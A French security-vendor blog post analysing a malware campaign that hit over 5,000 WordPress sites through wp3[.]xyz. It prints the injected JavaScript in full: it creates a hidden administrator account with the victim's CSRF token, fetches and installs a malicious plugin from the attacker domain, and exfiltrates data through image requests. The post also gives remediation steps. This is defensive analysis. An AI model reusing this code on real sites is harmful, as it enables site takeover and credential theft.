Skip to main content
Blog
Blog Attacks

Plus de 5 000 sites WordPress pris dans l'attaque malveillante WP3[.]XYZ

Nous avons découvert une campagne de malware généralisée ciblant les sites WordPress, affectant plus de 5 000 sites dans le monde. Le domaine malveillant : \"https://wp3.xyz/plugin[.]php\".

Jan 13, 2025 3 min read
new-malware-attack-image-cover

Nous avons découvert une campagne de malware généralisée ciblant les sites WordPress, affectant plus de 5 000 sites dans le monde.

Le domaine malveillant : https://wp3[.]xyz/td.js.

L'un de nos utilisateurs a été affecté. cside a détecté et arrêté l'attaque.

Annuaire de domaines cside montrant wp3.xyz signale comme malveillant
Le crawler de cside a détecté le domaine malveillant

On ne sait toujours pas comment les scripts sont entrés dans les sites. Jusqu'à présent, nous n'avons pas identifié de dénominateur commun, et notre enquête est en cours.

Nous savons que le script crée des comptes administrateur non autorisés avec un nom d'utilisateur et un mot de passe qui peuvent être trouvés dans le code.

  • Nom d'utilisateur : wpx_admin
  • Mot de passe : [CAVIARDÉ]

Après avoir créé le compte, le script télécharge un plugin WordPress malveillant et l'active sur le site désormais infecté - envoyant des données sensibles à un serveur distant.

Vérifiez votre site maintenant pour supprimer tous les comptes administrateur non autorisés et supprimer tous les plugins ou thèmes inutilisés.

Trouvez les sites infectés via :

Le script en détail

Tout d'abord, le script récupère le jeton CSRF nécessaire pour la requête. Ensuite, il envoie une requête POST pour créer un utilisateur avec des identifiants codés en dur. Il enregistre le statut de l'opération.

async function createUser() {
    const userPage = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
        credentials: 'include',
        headers: { 'Accept': 'text/html' }
    }).then(r => r.text());

    const doc = new DOMParser().parseFromString(userPage, 'text/html');
    const csrfToken = doc.querySelector('input[name="_wpnonce_create-user"]')?.value;

    if (!csrfToken) {
        sendLog({ error: 'CSRF token not found', type: 'error' });
        return;
    }

    const formData = new FormData();
    formData.append('_wpnonce_create-user', csrfToken);
    formData.append('user_login', 'wpx_admin');
    formData.append('pass1', '[REDACTED BY CSIDE]');
    formData.append('pass2', '[REDACTED BY CSIDE]');
    formData.append('role', 'administrator');

    const response = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
        method: 'POST',
        body: formData,
        credentials: 'include'
    });

    sendLog({ status: response.ok ? 'success' : 'failed', type: 'user_create' });
}

Après que le script a téléchargé le plugin récupéré depuis https://wp3[.]xyz/plugin.php, le script l'active sur le site infecté. Le script communique avec https://wp3[.]xyz/tdw1.php, envoyant des données sensibles telles que les identifiants administrateur et les journaux d'opérations via des requêtes d'images obscurcies.

function sendLog(data) {
    const logUrl = 'https://wp3[.]xyz/tdw1.php';
    const img = new Image(); // Logs data via an image request.
    const timestamp = Date.now();

    img.onerror = () => {
        if (retryCount < maxRetries) {
            retryCount++;
            setTimeout(() => sendLog(data), 1000 * retryCount); // Retry with backoff.
        }
    };

    img.src = `${logUrl}?data=${encodeURIComponent(JSON.stringify({
        ...data,
        url: window.location.origin,
        timestamp,
        userAgent: navigator.userAgent
    }))}&t=${timestamp}`;
}

Une fois que l'attaquant a un accès administrateur, le script télécharge un plugin malveillant. Il récupère le plugin depuis un serveur distant et le télécharge sur le site WordPress.

La fonction installPlugin fonctionne comme suit :

  1. Récupère la page de téléchargement du plugin pour obtenir le jeton CSRF.
  2. Télécharge le fichier du plugin malveillant.
  3. Soumet le fichier du plugin pour installation.

Il utilise ensuite les techniques suivantes :

  • Téléchargement du plugin via : /wp-admin/update[.]php?action=upload-plugin.
  • Récupération du plugin depuis une source externe : https://wp3[.]xyz.
async function installPlugin() {
    const pluginPage = await fetch(`${window.location.origin}/wp-admin/plugin-install.php?tab=upload`, {
        credentials: 'include',
        headers: { 'Accept': 'text/html' }
    }).then(r => r.text());

    const pluginDoc = new DOMParser().parseFromString(pluginPage, 'text/html');
    const pluginToken = pluginDoc.querySelector('input[name="_wpnonce"]')?.value;

    if (pluginToken) {
        const pluginData = await fetch('https://wp3[.]xyz/plugin.php', {
            mode: 'no-cors'
        }).then(r => r.blob());

        const pluginForm = new FormData();
        pluginForm.append('_wpnonce', pluginToken);
        pluginForm.append('pluginzip', pluginData, 'plugin.zip');

        const response = await fetch(`${window.location.origin}/wp-admin/update.php?action=upload-plugin`, {
            method: 'POST',
            body: pluginForm,
            credentials: 'include'
        });

        sendLog({ type: 'plugin', status: response.ok ? 'installed' : 'failed' });
    }
}

Le script vérifie finalement si le plugin malveillant a été installé avec succès en recherchant des références à https://wp3[.]xyz dans le contenu du site web.

const finalCheck = await fetch(window.location.origin, {
    credentials: 'include',
    headers: { 'Accept': 'text/html' }
}).then(r => r.text());

if (finalCheck.includes('wp3[.]xyz')) {
    sendLog({ type: 'verification', status: 'success', message: 'Payload verified' });
} else {
    sendLog({ type: 'verification', status: 'failed', message: 'Payload not found' });
}

Protégez-vous contre cette attaque

  1. Bloquez le domaine https://wp3[.]xyz dans les pare-feu ou les outils de sécurité.
  2. Auditez les comptes administrateur WordPress pour détecter les utilisateurs non autorisés.
  3. Supprimez les plugins suspects et validez ceux existants.
  4. Renforcez les protections CSRF et implémentez l'authentification multi-facteurs (MFA).
  5. Envisagez d'utiliser cside

L'utilisateur infecté utilisait la version gratuite de cside. Vous pouvez installer cside pour protéger votre site en quelques minutes contre cette attaque et d'autres similaires.

cside proxifie tous les scripts pour une analyse en temps réel, alertant et bloquant ceux potentiellement malveillants. Ce script récupéré depuis https://wp3[.]xyz/tdw.js a été détecté et bloqué avec succès sur le site web de notre utilisateur.

Veuillez nous contacter si vous êtes préoccupé ou souhaitez passer aux niveaux supérieurs.

Vérifiez votre site pour tous les administrateurs, assurez-vous que leurs mots de passe et leur 2FA sont correctement configurés. Vous pouvez utiliser notre crawler public pour vérifier la présence de scripts potentiellement malveillants sur votre site web.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

FAQ

Frequently Asked Questions

Les sites WordPress compromis chargeaient un script depuis wp3.xyz qui créait des comptes administrateurs cachés et exfiltrait des identifiants. Plus de 5 000 sites étaient touchés au moment de notre rapport et beaucoup d'autres l'étaient encore des jours plus tard.

Recherchez wp3.xyz dans le source du site, supprimez les utilisateurs admin inconnus et faites tourner tous les identifiants WordPress. Un scanner côté client comme cside détecte aussi les tentatives d'injection que les analyses statiques de plugins ratent.

Surveillez et sécurisez vos scripts tiers

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Commencez gratuitement, ou essayez Business avec un essai de 14 jours.

cside Interface du tableau de bord affichant la surveillance des scripts et les analyses de sécurité
Related Articles
Réserver une démonstration